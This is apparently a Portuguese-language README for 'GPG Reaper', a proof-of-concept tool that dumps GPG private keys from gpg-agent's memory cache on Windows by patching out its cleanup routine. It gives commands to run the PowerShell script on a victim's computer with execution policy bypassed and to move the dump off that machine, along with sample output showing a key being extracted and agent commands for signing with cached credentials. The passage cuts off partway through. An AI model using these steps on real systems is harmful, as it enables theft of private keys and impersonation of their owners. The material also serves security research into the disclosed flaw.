
GPG Reaper - Obter/Roubar/Restaurar Chaves Privadas GPG da cache/memória do gpg-agent
TL;DR: Obter/Roubar/Restaurar Chaves Privadas GPG do cache/memória do gpg-agent
Este POC demonstra um método para obter chaves privadas GPG da memória do gpg-agent no Windows.
Normalmente isso só deveria ser possível dentro de um intervalo de 10 minutos (valor --default-cache-ttl).
Infelizmente a função housekeeping() (responsável pela limpeza do cache) só é executada se você estiver usando GPG (não há um cronômetro lá).
Isso significa que em um caso de uso normal do GPG como: você assina um arquivo, depois fecha a GUI e faz outra tarefa sua senha ainda está na memória do gpg-agent (mesmo que o ttl tenha expirado).
Um atacante que tenha acesso à sua sessão atual pode usar isso para roubar a chave privada sem saber sua senha.
AVISO: O GPG mudará o mecanismo de cache na versão 2.2.6. Verifique o commit e a issue.

pip install PGPy
Se você obteve:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
então:
pip install six==1.10.0
Instale o Gpg4Win 3.0.3
Abra o prompt de comando e inicie o agente com tempo de cache de 2 segundos:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2



Repita os passos 4-5. Cada vez que o pinentry aparece porque nosso cache de 2 segundos expirou
Execute o GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Você verá algo como:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Como você pode ver, despejamos a chave. Isso é possível porque neutralizamos (nop) a função housekeeping.
python gpg_reaper.py .\testme.txt
A chave privada é despejada no arquivo:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent é um serviço para gerenciar chaves privadas independentemente de qualquer protocolo.
A interface GUI se comunica com o agente usando o Protocolo Assuan.
Por padrão, o agente armazena em cache suas credenciais.
A opção --default-cache-ttl n define o tempo de validade de uma entrada de cache para n segundos.
O padrão é 600 segundos. Cada vez que uma entrada de cache é acessada, seu temporizador é reiniciado.
No Windows, o processo de assinatura é assim:

A parte crucial aqui é a função housekeeping() que é responsável por remover credenciais expiradas da memória.
Mas há um problema: esta função é executada apenas em dois lugares (dentro de agent_put_cache e agent_get_cache).
Isso significa que as credenciais em cache NÃO são removidas da memória até que alguns comandos do gpg-agent que usam agent_put_cache ou agent_get_cache ou agent_flush_cache sejam executados.
No computador da vítima:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Transfira out.txt para sua máquina e restaure as chaves privadas:
gpg_reaper.py out.txt
As chaves privadas serão despejadas em arquivos separados.
Se o GPG estiver instalado fora dos diretórios padrão:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Se você não quiser mensagens de depuração:
Gpg-Reaper -Verbose $false
Vamos supor que você está realizando testes de penetração e obtém um shell em um computador com GPG instalado.
Se você tiver sorte e o usuário usou GPG recentemente e o cache não expirou, você pode:
Execute c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Execute c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
Infelizmente isso não funciona como esperado e solicita senha.
Por quê? Porque a função cmd_export_key() executa agent_key_from_file() com a flag CACHE_MODE_IGNORE, o que significa que o cache não será usado e o usuário é solicitado a fornecer a senha toda vez.
Sabemos que não é possível exportar a chave GPG através do gpg-agent sem saber a senha.
Mas há uma pequena peculiaridade aqui. O agente possui algumas opções disponíveis:
--debug-levelSelecione o nível de depuração para investigar problemas. level pode ser um valor numérico ou uma palavra-chave: